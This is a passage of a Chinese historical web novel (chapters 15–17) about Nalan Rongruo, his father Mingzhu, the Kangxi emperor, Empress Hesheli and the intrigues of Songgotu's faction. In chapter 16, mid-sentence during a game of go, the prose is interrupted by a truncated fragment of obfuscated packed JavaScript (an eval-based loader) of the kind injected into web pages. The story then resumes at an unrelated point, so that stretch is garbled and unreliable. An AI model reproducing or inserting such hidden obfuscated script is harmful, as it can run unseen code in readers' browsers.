“回太皇太后,臣今日所言,都是写在折子上的内容,想要直面呈交给皇上看的,不是君臣合计之言、也不是照着皇上的意思来措辞的。是臣有失周虑,请太皇太后不要责怪皇上。” “难得你是个有骨气的臣子。” 孝庄反而对纳兰赞许。 “多少年了,祖制制约着朝政,旧规控制着定夺权,那些八旗亲贵人人都跟抱着块免死金牌似的,不把康熙皇帝放在眼里。我也着急呀,急连个敢站出来说话的人都没有,偏偏是纳兰你,敢为人先,知道那些见策说出去会面临什么后果,也这般不计自己安危地当众说了。” 孝庄一边指着玄烨,一边对纳兰道: “你看,连我这个活了一把年纪的人都急不出一个完全的法子来,何况是被架空了八年的皇帝?纳兰你记着:你今日在朝堂上的所言,定会成为现实,但是一切要等到除掉鳌拜之后,再付诸实施。” “同样是年轻人,皇帝没有你稳妥,复翰林院和改制重新组内阁之事,就等皇上亲政之后再说吧!” “皇阿奶,内阁的作用可大着呢!孙儿跟纳兰说:朕亲政以后,还要设立南书房,把南书房当作机要中枢,入值南书房的大臣都要是朕亲自选的。等到了平定三藩的时候,朕就要把南书房当作‘战时内阁’,好好发挥作用!” “什么?你要平定三藩?”孝庄大惊,看向玄烨,“你瞒皇祖母瞒的好呀!” “三藩存在已久,弊端数不胜数:耗损国家开支,不利江山巩固,中央之下岂能再有三个大势力?” 未听玄烨把话说完,孝庄就打断了他,转而对纳兰道:“今晚你不必回明府了,到侧暖阁去思过。” 纳兰低头应道:“是,臣遵太皇太后懿旨。” 玄烨不觉得自己说错了什么话,一急之下,为自己的陪臣求情道:“皇阿奶,纳兰他怕冻。” “侧暖阁冻不着他。”孝庄冷冷道,“皇祖母倒是觉得,今日纳兰受的委屈和埃的罚,能够彻头彻尾地冻醒皇上最好。” “臣明白太皇太后的苦心,谢皇上关心。” 说完,纳兰就自己往侧暖阁的方向去了。 玄烨看着纳兰的背影,心中葛藤缠绕,万般无奈。 ——说到底,错的是朕吗? * 冷月当空。明府。 明珠带着一身不安而归。 “老祖宗把容若带到了慈宁宫,照着容若的性子自然是能够明白老祖宗的用意,我就怕皇上在一边帮容若说话、反而帮了倒忙。唉!” “老爷,今晚容若还回来府上吗?” “夫人你问我我问谁去?老祖宗或是皇上谁要留他,哪能说得准?” 忽然间,明珠听见了外头的风吹草动。 “谁——” 他立刻推开窗户往外看,果然看见了一个踏轻功而去、迅速消失的身影。 不仅如此,隐约之间,他还好似听见了一阵珠钗坠子的细响声,以至于他以为明府被政敌索额图安插了女细作。 明珠马上叫来管家,下令道: “给我去查,细细地察,潜入、暗藏、接近明府的可疑之人,无论男女,一个不许放过。” 【注1】纳兰性德作品,古乐府诗《高楼望月》,是在伴驾离家的过程当中,寄托相思写给官氏夫人的。 【注2】前制之弊,指:满清特有的牛录制度、八旗制度、议政王大臣制度等。 15.第15章 回家的路上,小雪纷纷。 纳兰容若坐在马车的帘室里,歪着脑袋靠歇在一侧,半睡半醒。 经过一宿的折腾,他在侧暖阁中对月、对壁、对空榻,在不知不觉中迎来了天亮。 不知道是不是错觉,得了太皇太后的许可离阁之时,他回看了一眼室内的炭盆,发现红萝炭并未有多少耗损,就跟自己刚进来时一样。 “苏嬷嬷,代我向太皇太后请安,就说纳兰没事,经过一夜自省,明白以后该怎么做了。” “老祖宗是把纳兰公子你放在心尖上疼的。”苏麻喇姑引着纳兰往外走,“这回是皇上的不是,你为君归为君,但是皇上过于器重你,把你推上了风口浪尖。” “皇上怎么样了?” “皇上原本是想回养心殿过夜的,后来听了老祖宗的话去坤宁宫了。”苏麻喇姑摇了摇头,“但是听敬事房的小太监说,皇上进去就宽衣而睡,一句话都没有跟赫舍里皇后说,也不正眼看她。” “那纳兰希望皇上睡醒后能跟赫舍里皇后一并用早膳,好好说话。” 分别的时候,苏麻喇姑把一个精致的小食盒交给纳兰,道: “老祖宗惦记着纳兰公子体寒,不吃早膳可不成,叫我备了半素的甜食糕点,让纳兰公子带在路上吃。老祖宗还说,让马车走的慢一点,免得纳兰公子心慌劳倦。” “纳兰谢太皇太后。”纳兰复向苏麻喇姑相托,“苏嬷嬷,皇上那边劳请您去说一声,叫他不要因为索额图而不发一语地迁怒赫舍里皇后。皇后不知情,不该被冷落。” 马车停在了明府门口。 容若半掀帘子,看见了一个吃了闭门羹、不甘心而走的女子的身影,正是宛卿。 “你去问家丁们是怎么回事?” “是。” 回来后,车夫告知容若:“不知道从哪里来的姑娘,非说自己的洋笺掉在明府了,要进去找回。” “知道了。”容若把洋笺从身上拿出,“你把这个给她,然后把这盒宫廷点心也给她,就当作是我替明府家丁的赔罪。” “公子,何必为了一个身份地位与您如此悬殊的人……” “别说了,叫你去你就去。” “可是这盒点心是太皇太后赏的。” “我身子乏,吃不下,又想到惠儿进宫以后,她肯定有机会吃,阿玛和额娘又都是吃过的,何必留着呢?不如给宛卿。” “公子您说谁?” “唔,没谁。我是说昨晚真是奇怪,侧暖阁的红萝炭燃烧了一宿没有什么变化,定是我的身子骨太冷了,冷到连最好的炭都没反应。你说……我把点心盒子抱在怀里带回,这黑漆浮雕木盒徒添了寒气,是不是也极冷?” “公子。” “罢了,你当我什么都没说,去办事吧!” 车夫便照着纳兰公子的意思,追上了沈宛。 他把两样东西交到沈宛手中,道:“姑娘,这是我家公子给你的。” 沈宛接过点心盒子和洋笺,下意识地回头一看,明府外面空荡荡的,早已不见马车的踪影。 “你家公子还说了别的吗?” “公子说自己体寒,怕把点心盒子也给冰着了。” 沈宛越发觉得“纳兰公子”跟自己遇见过几次的“贵公子”就是同一个人。 他俩—— 一样的温情,一样的为人着想,一样的不想给别人添扰,一样的……会把别人的过错当作是自己的过错。 * 容若是个孝顺的孩子。 踏入家门后,第一时间就给阿玛和额娘报了平安。 “儿子。” 觉罗氏慌忙拿出手绢来,擦了擦容若苍白的脸。 “额娘放心,儿很好。” 容若的声线很温和,温和的就跟真的没有受苦一样。 “你让阿玛说什么好?”明珠对儿子生气也不是,关切也不是,“你如今是胆子大了,敢堂堂对着八旗亲贵们说出‘让内阁取代议政王大臣会议’的暗示来了?” “儿原本的计划——” “住口!”明珠指着儿子,“阿玛是怕不但索额图想要你的命,那些八旗亲贵们也恨不得找出一个置你于死地的理由来,让皇上清君侧!” “如果再拖延一些时间,儿就能让索额图害臣害君的居心露出马脚,等到养心殿的火事一发,正好可以——” “你就这般信任皇上?”明珠打断,“事成,是皇上居功,皇上可以一边严惩索党一边反过来说是他救了你的命。失败,是你的责任,连着阿玛也要一并承担,你怎么能不跟阿玛商量,就自作主张跟皇上联手,以为能够揭开索额图的真面目?” “儿以为阿玛默许了。” “你这是去送命,阿玛怎么能默许?” “儿是去打胜仗,有把握的胜仗,不是去送命、至纳兰氏一族于不顾。” “你给我跪下!” 明珠往地上一指,怒目对着儿子。 “老爷。” 觉罗氏劝了一句。 明珠对着跪在自己膝下的儿子责骂道: “朝堂的事情,阿玛不知道见识了多少,从来没有想过自己的儿子会以这样的方式登场。你想过阿玛当时的心情吗?就是怕鳌拜说一句:‘把纳兰性德拿下!’你的小命就没了。” “多亏了阿玛人面广,悄着使眼色叫人去请来了老祖宗,不然你早就成为别人刀下的鱼肉了。别说阿玛保不了你,连皇上也自身难保。你要是这般被带去刑部问罪,身子骨如何受得了?” 容若想到: 太皇太后之所以愿意帮明珠,也把自己当作亲儿孙一般疼惜,就知道是纳兰氏一族曾经听命于摄政王多尔衮的缘故。 多尔衮与孝庄有一段情缘,孝庄正是念着这一点,才待纳兰一家好。 “儿敢问阿玛,祖王父多尔衮到底是怎么死的?为什么史册的记载只有寥寥不可信的数字?” “儿子。”觉罗氏来到容若身边,握了握他冰冷的掌心,“这事你不该问啊,阿玛和额娘都提醒你多少回了?” 见明珠对容若冷眼以看,觉罗氏开导儿子道:“额娘看你定是一夜未回累着了,先向你阿玛认个错,回房去歇着吧!” “阿玛也觉得儿错了吗?” “在大清祖宗的制度上下刀子、触动八旗亲贵的利益、煽动皇上亲政和改制、为皇上集权除异出谋划策……桩桩件件,在想吞噬了纳兰家的人眼里,哪个不是错的?” “既然如此,那就请阿玛动家法罚吧!” “你是真以为阿玛不敢罚你吗?” 说着,明珠就从屋里的一处拿来了鞭子,动了真格要往容若身上抽。 觉罗氏好说歹说,费了好大一番功夫,才把老爷阻拦了下来。 * 管家求情道:“老爷,夫人,公子面色苍白,怕是不能再这么跪下去了呀!” 明珠把鞭子往管家手里一扔,指着大门骂道:“你给我出去!” 觉罗氏终于把儿子从地上扶了起来,带他到软榻上坐下,盖上了鹅绒被。 看见容若搓了搓手,往掌心哈气取暖,觉罗氏心疼地拽紧了手中的帕子。屋内明明不冷,容若却是恶寒彻骨。 明珠另挑起了一件事说: “国家大事也就罢了,太皇太后这么处置,也算是为你善了后。当下,一个来路不明的姑娘,口口声声在外头叫‘纳兰公子’,你是要把自己的脸还是明府的脸丢给外人看?” 容若硬撑着全身乏累,道:“儿正是因为知道不妥,才没有下马车去见她。” 明珠眉头一皱:“你还敢动去跟她打照面的念头?” “试问阿玛,除开朝堂上面的事,儿从到家、入家门至今,有哪一点做错了吗?” “你来请安之前,家丁就来给我回话说:‘公子单独吩咐车夫,把黑漆雕花食盒提篮连着那姑娘要找的洋笺一并送到了她手上。’你不领皇上赏的大花惠兰情有可原,但是那点心提盒是老祖宗赏的,你怎么能随随便便给一个女子?” “她没有尝过,儿把皇家点心让给她吃,只想她欢喜、只想她心里还念着一个人,而不是记着明府的傲睨与狂慢……哪里错了?” “你——”明珠叹了一口气。 他背着双手走到容若面前,语重心长道:”她要是拿着点心提盒四处炫耀,那就是叫天下人看你的笑话。” “儿知道,她不会。” “我明珠的儿子,什么时候染过尘?” “阿玛你为什么说她是尘?” “为什么?”明珠反问,“因为你是一块无暇的美玉。穿绳、配对、存匣,都不是由你自己说了算。” 美玉。容若淡笑起来。 觉罗氏一边看着明珠的冷脸,一边看着容若的温颜,慌措问:“儿子,你怎么了?” “儿笑自己跟皇上一样,不得自由。” 明珠本想再训一句:“这个时候你还敢提皇上,就不怕——” 下一瞬间,毫无预兆地,他看见了自己的儿子昏死在了觉罗氏怀中。 * 午膳时分。坤宁宫。 总管大太监顾问行小心翼翼地伺候万岁爷和赫舍里皇后吃饭,刚刚苏嬷嬷来过,说的都是些希望帝后好好相处的话。 那些话,听起来像是孝庄太后的意思,但是转念一想,又似乎是纳兰公子的和衷之请。 不然万岁爷也不会当着赫舍里皇后的面,甩出这么一句话来: “纳兰要是在侧暖阁跪一宿跪出点什么事来,朕先处置了你这个皇后!” 顾问行只见—— 当时赫舍里皇后十分惊讶。 “皇上为什么冲臣妾发这么大火?纳兰公子被老祖宗罚跪,臣妾没有去求老祖宗开恩是臣妾的不是。但是苏嬷嬷来之前,臣妾真的不知道此事。” 玄烨把瓷勺子往碗里一搁,没好气道: “你的玛法索尼是大清国的功臣,叔父索额图是朕朝堂上的权臣,所以皇阿奶让朕娶了你!你不是天天去慈宁宫给皇阿奶请早安吗?怎么会不知道纳兰在侧暖阁罚跪?还是说你心里跟你的叔父一样乐呵,觉得纳兰是自作自受?” 赫舍里皇后从凳子上起身,向玄烨求谅道: “臣妾一直在深宫之中,没有私下跟叔父接触过,不知道朝堂之事,也不知道老祖宗为什么要这般对纳兰公子。臣妾不是找借口为自己开脱,请皇上不要错怪臣妾。” 玄烨没应赫舍里皇后,而是对顾问行命令道:“你即刻给朕出宫去探望纳兰,纳兰要是有个好歹,朕就废后,看看索额图还敢不敢容不下他!” 好在是顾总管不糊涂,他跪地道:“万岁爷,奴才要是领了这份差事,怕 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“朕等不及了!”玄烨一甩手,“朕当了整整八年的傀儡皇帝,好不容易身边有了忠臣,好不容易知道了自己该干什么,好不容易鼓起了全副勇气跟那些守旧的、蛮横的、功高的大臣叫板,凭什么还要忍?” “臣妾不是叫皇上忍,而是为皇上高兴。” “高兴?喜从何来?” “皇上身边有贤臣,身后有皇祖母,只是缺乏一个合适的时机,等到时机成熟,必定是酣畅淋漓,大展身手,开前人之所能。” 赫舍里皇后深深看着玄烨,“臣妾,要做一个端淑贤明的皇后,与皇上一起面对前路上的一切风雨、一切坎坷,一同迎接大清的开平盛世。” 玄烨被嫡妻的冷静和包容所震撼。 自己威胁她说要废后的时候,她没有哭闹; 自己扬言要离她而去的时候,她没有埋怨; 自己怒索额图的时候,她没有为叔父说话; 自己孤注一掷的时候,她选择了并肩同行。 ——赫舍里就是这样的女子,年纪轻轻嫁给了朕,凭借大方的性格和公正的判断坐镇后宫。 ——多少次,多少天,朕没有好好看她、没有好好对她说话、没有完整地陪她吃完过一顿饭?想来朕何尝不是一个自私又偏执的人呢? “皇上,臣妾嫁给您之后就是您的女人,无关叔父无关太皇太后。希望皇上您,也将臣妾视为皇后,夫妻一起承担起前朝与后宫的责任。” “臣妾与皇上是同心同体的,都希望通过各自的努力来让大清江山繁荣昌盛。臣妾下定了决心陪伴皇上,就决不食言,只愿皇上不要回头、永远向前看,看大好山河的新气象、看天下苍生的真需求。臣妾一直在皇上身边。” 玄烨不发一语。 他觉得心里有愧,默默注视着一桌子菜。 “顾总管,给皇上盛饭。” “是皇后娘娘。” 顾问行马上就顿悟赫舍里的意思,她是主动给皇上台阶下。 再看玄烨,他也终于放下了对赫舍里的一切迁怒和责备,准备“一饭解恩仇”了。 “皇上,皇后娘娘,奴才这就先出外头去伺候着了。”顾问行带着贺喜帝后和好的神情,“两位慢用呐。” “行了,你出去吧。”玄烨扬了扬手,“朕跟皇后一起,好好用膳。今晚,朕也来皇后这里安置。” * 容若昏睡两日未醒。 明珠叫了信得过的郎中来看,郎中给出的回复是:“公子顽疾,需要调理,不可过劳,不可积郁。” “老爷,妾身说过:你我改变不了容若的性情时,只能选择保护他。您倒好,动不动就拿出家法来要往他身上抽鞭子,要不是妾身拦着,您这一鞭子下去,还不要了容若的半条命?称了索党之人的心意了。” “夫人,我当时不是气糊涂了吗?”明珠后悔道,“哪知道这孩子……老祖宗象征性地罚他跪,他就真的跪了一宿。” “那是因为咱们儿子心里装着皇上和大清。”觉罗氏坐在容若床侧,“是个有情有义、有智谋懂部署、为了心志甘愿牺牲自己的人。” “我收到信儿,说是皇上想出来看容若,好在是被顾总管和赫舍里皇后劝住了。不然朝中权贵会怎么想?我明珠就算是有十张嘴也解释不清楚啊!” “老爷,你说咱们儿子跟皇上之间,是君臣良缘?还是君臣恶缘?” “皇上的性格令人捉摸不定,一会视容若为知己,一会想方设法地刁难他,这叫什么?伴君如伴虎。” 郎中终于写好了药方,把药方拿给了明珠夫妇过目。 明珠看完,小声问:“老先生,你这最后一句‘天心不可问,清泪泣黄昏’是何意啊?” 郎中神色惶恐:“不可说啊,明珠大人。” “有何不可说?” “纳兰公子的顽疾,一生伴随,所得所终,都是天意啊!” “天意?请老先生把话说清楚。” “天机不可露,凡事皆因果。染尽风霜,血透文章。老朽只能言尽于此了。” 明珠心中一惊,手中的那张药方掉在了地面上。 忽然,他耳边传来了一句声音,是容若在叫:“阿玛。” 清清然如醒,昏昏然似寐,他赶紧叫夫人送郎中出去,来到了儿子床边。 他握着儿子的手,弯着腰在儿子耳边道: “容若,阿玛在。你是不是有什么话要对阿玛说?” 16.第16章 明珠心中跟刀割似的心疼儿子:方才容若半醒地叫了声“阿玛”,等到自己近前了,容若又昏睡了过去,也不知道他听见跟药方相关的——蹊跷的宿命预言诗没有。 正好见惠儿进来,明珠对她道:“惠儿,你好好照顾他。” 惠儿应道:“是。” 然后,她从地上捡起了那张药方,递回了明珠手中。 明珠立刻把药方藏入袖内,免得被容若看见,扰他心神。 “索额图在朝堂之上,把我明珠的尊严放在地上踩。他一面不满我儿子在皇上近侧,另一面又敢嘲讽惠儿你即将去到皇上枕边,你知道我当时的心情吗?” “伯父,惠儿不敢乱猜您的心情,但是换做惠儿是您,就会就觉得是索大人自己没本事,没法像伯父您一样培养出贤臣贤妃来,才因妒忌生歹心。请伯父谨慎应对。” “容若病着,也正好可以拖一拖时间,不然风云变幻来的太快,少了点斗智的过程,岂非寂寞?” “惠儿会把表兄照顾好,让表兄与伯父您一同反败为胜,扭转暂时劣境。” “等着吧,容若病好以后,就是我们父子反击索党之时。” 容若其实已经恢复了意识,也听清了明珠说的每一句话。 而且,容若也对郎中所留下的“四句命诗”理解的透彻,简单综合成两句,就是:天心泣黄昏,染血透文章。 ——我这一生终局如此,也没有什么不能接受的。 ——只是,三十载太短,我放不下阿玛、额娘、皇上和将来的妻子,还有惠儿和宛卿。 聪慧如他,如今二十岁未满,却也知道命数的尽头之音。 天心,一味草药,味苦辛,三十载而成,克肝经与胃经,采撷则株枯,本体尽殆,犹人之灯灭也。 明珠离开前,又特意回到容若身边,为他紧了紧暖被,唤了几句:“儿啊,好好保重!” 容若没有睁开眼睛和做出已醒的模样,只是在脑中想象着明珠的心情,能够深切感受到阿玛对自己的关心。 * 一盏茶,一桌面小围炉。 一个人,一份精致心情。 沈宛拎着纳兰公子给的点心提盒,坐在了一处客栈二楼的窗子边。 天冷的好处,就是糕点不容易坏。 天冷的坏处,就是纳兰容若怕冻。 沈宛打开提盒最上面一层的盖子,拿出了一块祥云如意酥、一块黄蕊荷花酥、一块藕粉桂花糕来放在盘子里。 想来这些好吃的东西,也是不能拿给师傅宋应星品尝的。 师傅一向厌恶大清和多尔衮,多尔衮可是纳兰公子的祖王父,师傅怎么可能待见他? 即便是师傅把“索额图要暗害纳兰公子”的事,对我如实相告,真实目的也不是为了纳兰公子好,而是想叫我见识见识“明珠和索额图之间的派阀之争”吧? 师傅的心态,一定是见纳兰公子卷入其中成为牺牲品,像看客一样高兴吧?师傅不想独自高兴,所以才把这份“看热闹的心情”一并传递给我,算准了我会把“证据字条”带到明府去。 咦?我怎么就成了一根导火索呢。 纳兰公子要是知道我被师傅利用,会不会怪我? 沈宛学着官家小姐的举止,拿了一根竹签在手,仔细地把一枚黄蕊桃花酥分成了一瓣一瓣。然后,她又从点心盒子里取出一张稍硬的纸张来,照着纹路一折,托起了一片荷瓣。 她在心里想着:原来出身高贵的人就是这样吃点心的呀!原来大清的点心提盒跟大明的不同,里面还多放了竹签和纸托呢,真是周到。 忽然就想起那位“贵公子”了。 贵公子说:“千古第一茶人陆羽所著的《茶经》里面有秘密,读透读罢,自然可解李季兰人生最后的诗作的下落之谜。” 所以沈宛还真的是去找了《茶经》来看,谁叫她爱寻李季兰的诗作的真迹呢? 看过几遍《茶经》,谜团没有解开,倒是习得了一番“什么点心配什么茶”的技巧。 ——酥点配绿茶、饼点配白茶、干果配黄茶、酸卷儿配红茶、瓜子配乌龙。 于是,她又打开点心盒子的其他几层来寻,寻找一个茶包,没准真的就有呢?在隔层内,在点心的间隔栏,在提盒的最底层抽屉。 不过真可惜,没有找到。 沈宛问自己:“纳兰公子喜欢喝什么茶?” 复又笑着得出结论:定是团茶。 他会自己挑茶、切茶、碾茶、泡茶,就像是他喜欢花,爱在有花相伴的地方饮茶翻卷一样。 ——公子博学多才,定是知道李清照和赵明诚之间的典故。 忽然就想根据自己的听闻,来写一首诗给纳兰公子了。 沈宛向店小二要来了笔墨。 团茶苦解酒滋味,赌茗翻书相伴浓。 雀绿补天今何在?纳兰香成过帘栊。 南巡北狩君臣事,殿外菩提立银穹。 林深杳杳不见鹿,玉落雪中点点红。 【注1】 沈宛吃了半口黄蕊荷花酥,心想: 这首诗可不是悲调,纳兰公子是个“善感”之人,他的惆怅不可称为惆怅,而是一种置身其中的无奈。既是无奈,则应理解为:心中多思绪,心事无谁知。 我明明不是个爱写这种格调的诗的女子,为什么笔墨用在纳兰公子身上时,就自带了那么几丝说不清道不明的婉伤呢? 说不是悲调却觉得婉伤,我到底是怎么了? 什么“玉落雪中点点红”,沈宛自嘲般地一笑,拿起毛笔将这一句抹去。 她自语:“是黄蕊荷花酥的朵瓣显红罢了。” * 一处密室之中。 两排蜡烛架子闪着冷光,一桌饭食酒菜无人动筷,唯有当中的肃杀氛围,有着真真切切的:大家一起坐下来商量大事的实感。 当中人,有:为主的索额图,和同一条船上的兴必察、马佳泰勒、辜鸿玳、李光地。 索额图不甘心道:“之前鳌拜跟苏克萨哈斗,终于是斗垮斗死了苏克萨哈。如今本官跟明珠斗,却连明珠手中的美玉都打不碎,实在是无解。” 李光地谨慎道:“索大人,您那张要害纳兰性德的字条不翼而飞,下官只怕是被明珠派来的细作盗了去,您不可不再做打算啊!” “虽然本官不知道纳兰性德和皇上在玩什么把戏,但是纳兰性德现在在家中养病,明珠闭门不出,你等觉得他们父子在做什么筹谋?” “这个十分难说。”辜鸿玳道,“下官猜一句,万一这纳兰公子是装病、明珠是假意为了陪伴儿子才不理政事呢?” “是吗?那就有意思了。”索额图勾起嘴角一笑,“倒是辛苦了那些天天进出明府的做戏郎中。” “为今之计,下官以为应当是对纳兰父子主动进攻。既然索大人的字条有极大的可能性被明珠拿到了手,就不排除他拼命护子和与索大人你死斗到底的决心。我方不可坐以待毙,字条一旦拿到皇上面前,索大人危矣。” “李光地,你有什么建议?” “不如买通人去散布消息,就说纳兰性德根本无恙,乃是‘以病取怜’来逃避对打下大清江山的列祖列宗大不敬之罪,好让他吃点‘煽帝改制’的苦头。如此一来,纳兰性德必定名声扫地,明珠也难辞其咎,要为儿担罪,岂非一箭双雕?” “糊涂!”兴必察立刻反驳,“纳兰性德是被孝庄太后罚跪在侧暖阁的,孝庄太后对纳兰性德的身子骨心明如镜,散布谣言就等于是得罪孝庄太后。” 李光地皱眉:“难道纳兰性德是真病?” “真病假病都罢。”索额图一摆手,“散布谣言之事不可行。” 李光地大胆道:“那就不如放弃杀纳兰性德于养心殿的计划。” 索额图恨道:“本官要是此时收手,指不定会被明珠如何后续相逼!” 兴必察提醒道:“索大人,孝庄太后介入此事,纳兰性德其人您怕是真的一时半会动不的他啊。” “本官再想想。”索额图并未放弃,“再想想……” * 容若醒了。 换做别的父子,无疑是互说问候之语,然后询问“要吃些什么东西”或是“哪里不舒服”之类的——看似交心,实则无用的话。 纳兰父子不一样。 “儿想着,上回跟阿玛之间的棋局还未下完,不知是重新落子到当时局面,还是空盘待弈、开启新局?” “再陪阿玛重新下一盘。黑白纵横,慎则稳,稳则行,行则游龙出江,一番风雨意气计,能克奸滑苦心谋。容若,我们父子既是盘中交锋、又是合计取胜,这局你该懂得怎么下。” “是,儿全力以赴。” “好,那我定不想让。” 侍女们伺候纳兰公子洗脸穿衣下床的时候,明珠就坐在房中的棋盘的一侧等待。 明珠喜欢跟自己的儿子一起下棋—— 在容若的棋路之间、招数之中、心态之内,他这个父亲会不经意地观察儿子的神色。那份神色,带着雅致闲逸,带着认真细致,从未失神走神。 在容若的谈笑声里、大局观上、双明眸下,他这个父亲会时不时地揣测儿子的心思。那份执着,带着坚韧不屈、带着专注无骛,从未丢盔弃甲。 这回儿子主动说想下棋,可见儿子的病已经好的差不多了。 如此,才能有精力,有气力,有魄力地来一场父子之间的对弈呀! 这次下棋,并未屏退旁人,而是留了侍女在一旁煮茶和打理容若喜欢的玉兰花插花。 之前放置在房中的玉兰花折枝,虽然装在瓶中用清凉的雪水泡着,但也挨不过日时经过,已经垂败枯萎。 明珠本人对花草的枯荣敏感,见不得凋零的残朵与残叶。 相反容若,却是能从消逝中感悟到另一种美感:他的书中,留有自制的枫叶书签;他的琉璃瓶中,曾盛干花。甚至,他的笔洗之上,也曾漂浮着几片零落的芳菲香魂,借以为词稿增添几分雅趣。 见纳兰公子亲自摆设好围棋棋盘和拿出装黑子与白子的罐子后,侍女就小心翼翼地把自己刚刚布置好的白玉龙耳瓶插花捧到棋案侧。 明珠不满意,嫌道:“不及公子,你在公子身边多年,连仿着公子的品味来插花都不会吗?” 侍女跪地道:“袖云知错,请老爷责罚。” “阿玛算了。”容若道,“袖云对插花有自己的想法,布置出了自己的风格不是挺好吗?何必叫她处处照着儿的喜好来做事?” 明珠妥协道:“好,这次就罢了。” 侍女感激道:“袖云谢公子体谅,谢老爷不怪。” “你细心煎茶。”容若温笑着叮嘱道,“这回的团茶带苦味,不可配花生瓜子腰果松子之类的小点,要去厨房拿台湾巡抚进献给阿玛的凤梨酥和太阳饼过来。” “是。” 明珠稍稍欣慰,“你倒是记得公子爱喝团茶,会用心去烹茗。” “袖云记着,公子的兴趣爱好和饮食就寝,一笔一物、一花一器,酸甜苦辣,昼夜午夕,袖云都是牢牢记着的。得公子赐名,跟随公子,伺候公子是袖云一辈子的福气。” “袖云你去吧。记着:阿玛是关心我,不是责备你。所以他才对你严厉了些。” “老爷公子万安。袖云告退。” * 容若从明珠的棋路当中看出,阿玛的心里话是: “于公于私,这次都不能轻易把索额图妥协了去。越是这个时候,就越应该在府上‘闭关’,暂时回避了对政事的发言权才好。如果出入皇宫频繁,就容易被索党之人得逞。” 容若落白子于明珠的黑子的“月升之巅”,与黑子成“影映”之势。 他想回应明珠的是: “对影成双暗者输。阿玛是否想过:反过来利用索额图的儿子,使得阿尔吉善做出一桩错事来,以倒逼于索额图大义灭亲?如若可成,则可把‘借刀杀人’转变成‘顺水推舟’,由不得索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后把纸张放入燃着“纳兰香”的小香炉中焚毁。 “纳兰父子心意相通,不言而知彼此想法,如此就不怕泄密、不怕行为和部署被府内外暗潜的细作所知。” “阿玛知道该如何做了。这次你我父子合力,务必要达到索额图‘作茧自缚、搬石头砸自己的脚’的目的。” “是。” 父子之间无声对话,皆在黑白棋子间。 虽又是一局未完之棋,但目的已经达到,便是最好的一弈。 “阿玛,儿想到回廊外去晒太阳。” 容若脸上带着一个澄澈的笑容,不知明珠许不许他。 “好。”明珠心情亦好,“想不想走远一点?到家外头去。阿玛陪你。” “想。谢阿玛。” 容若对这样的时刻和这样的机会,很是珍惜。 心中难抑高兴。 * 父子俩才刚刚迈出家门,走出不到百米远的距离,就听见后面传来了一句女子的声音。 “贵公子留步,是我。” 容若听出来了,是宛卿,但是没有收步子。 可是身后的声音却渐近,是宛卿追了上来。 “你说过,你是大清第一陪臣。大清第一陪臣就是纳兰性德,就是公子你。” “我已经知道你是谁了,你不想问我叫什么名字吗?请纳兰公子回头看看我。” 不等明珠问话,容若就主动道:“回阿玛,儿的心思还停留在方才的棋盘中,没有别的杂念。” “不必理会她,随她喊。”明珠不屑一顾,只管往前走,“天底下念着‘纳兰容若’的名字的女子不知道有多少,不差她这么一个不要脸的。” “纳兰公子,纳兰公子你回头看一眼呀!” 可是,容若留给沈宛的, 始终都只是一个背影,熟悉、温润、近在咫尺却不可得的背影。 冷她只为护她,略她只因惜她。 容若转移了明珠的注意力,岔开了话题道: “阿玛,您的藏书楼为什么叫穴砚斋?穴砚穴砚,‘谑演’之意倒与抄书阅书反着来了。阿玛您善长政史和理学,担任皇上的讲席,儿也想请太皇太后给个恩典,让儿坐在皇上身边一起听。” “你要是同在,皇上还能专心听讲吗?”明珠瞧着目光期期的容若,“还不如阿玛去请太皇太后给个恩典,让你去给皇上当讲席好了。” 容若笑道:“那儿可真坐实了索党口中的‘欺君误国、乱君煽策、君侧当清’的骂名了。可不许阿玛这样拿儿子开玩笑。” “那也不许容若你自谦屈才。回家后,阿玛要小罚你写两幅字:山有穴为岫,云归砚开明。作为楹联挂在楼阁的左右两侧,如何?” “原来‘穴砚斋’的名字是这么来的。儿乐意。” 明府的大门口。 觉罗氏拉了拉惠儿的手,劝道:“惠儿,我们进去。” 惠儿心慌了,几乎是喃喃自语:“她为什么这般不自重?为什么三番五次要见表兄?” 觉罗氏又叫了她一声:“惠儿。” 惠儿失魂落魄地往回走,边走边道: “表兄是为了她好才回避她,这么明显,她还看不出来吗?表兄越是善待她,她就越是不知分寸、得寸进尺……她想要表兄怎么样?把她迎进明府、坐下说话吗?” 就这么想着,替自己不甘心,也替容若不值得,惠儿一转身就要跑出去找沈宛理论。 “惠儿,你回来——” 觉罗氏的声音,淹没在了风声中。 【注1】 (1)团茶苦:酒后可用团茶的苦味醒神,李清照赵明诚夫妇以此解酒。 (2)赌茗翻书:李清照赵明诚夫妇日常,同日后纳兰与卢氏夫人之间的“赌书消得泼茶香”意趣。 (3)雀绿补天:雀指孔雀石,绿指绿松石,补天指双石颜色与天穹一致。双石既是李清照赵明诚夫妇的收藏,也是高富帅纳兰性德的收藏,(其实是和珅之前的“大清首富”纳兰明珠给儿子的生日礼赠)。 (4)纳兰香:纳兰性德调制的香方,今已失传。香方见第13章。 (5)殿外菩提:养心殿外的一棵九莲菩提树,康熙为纳兰栽。后乾隆皇帝感慨:九十载韶华过矣,芳姿拈咏,携无端。 17.第17章 朝堂之上。 氛围肃杀的就跟置身于秋日的围场中一样。 “启禀皇上,臣有事要奏!” 见说话的是索额图之子阿尔吉善,玄烨只草草一问:“好,有什么想说就说吧!” “臣要弹劾明珠大人贪污受贿,款额巨大,涉及面广,牵连者众多。” 玄烨一惊,他虽然早就下了整顿吏治的决心,但从未想过先拿纳兰性德的阿玛出来当惩治的首例,更何况明珠有学问有能力,是重臣,不能说查办就查办。明珠一倒,整个纳兰家不也跟着一起倒吗? 玄烨沉着脸问:“明珠,你有什么话要说?” 明珠不慌,“皇上,阿尔吉善是索额图之子,只凭他的一面之词您就来责问臣,是否太过?” 阿尔吉善道:“臣得来一份向明珠大人受贿之人的详细名册,请皇上皇上过目。” 玄烨向顾问行一递眼色,顾总管就立刻下去把名册拿了过来,交到了皇上手里。 玄烨并未直接打开名册来看,而是把名册往龙椅的扶手上一拍,气道: “明珠你身居高位,要有的东西应有尽有,连朕得不到的‘美玉’你都有,还有什么不满足?为什么要贪那些银子,败坏我大清朝纲!自毁为臣清誉!” 此时,有一位站在明党一派的大臣站出来道: “启禀皇上,明珠大人处事细致周到、待人有法有度、为皇上您讲经更是兢兢业业风风雨雨从不间断,岂会做出动摇国本的事情来?还请皇上三思。” 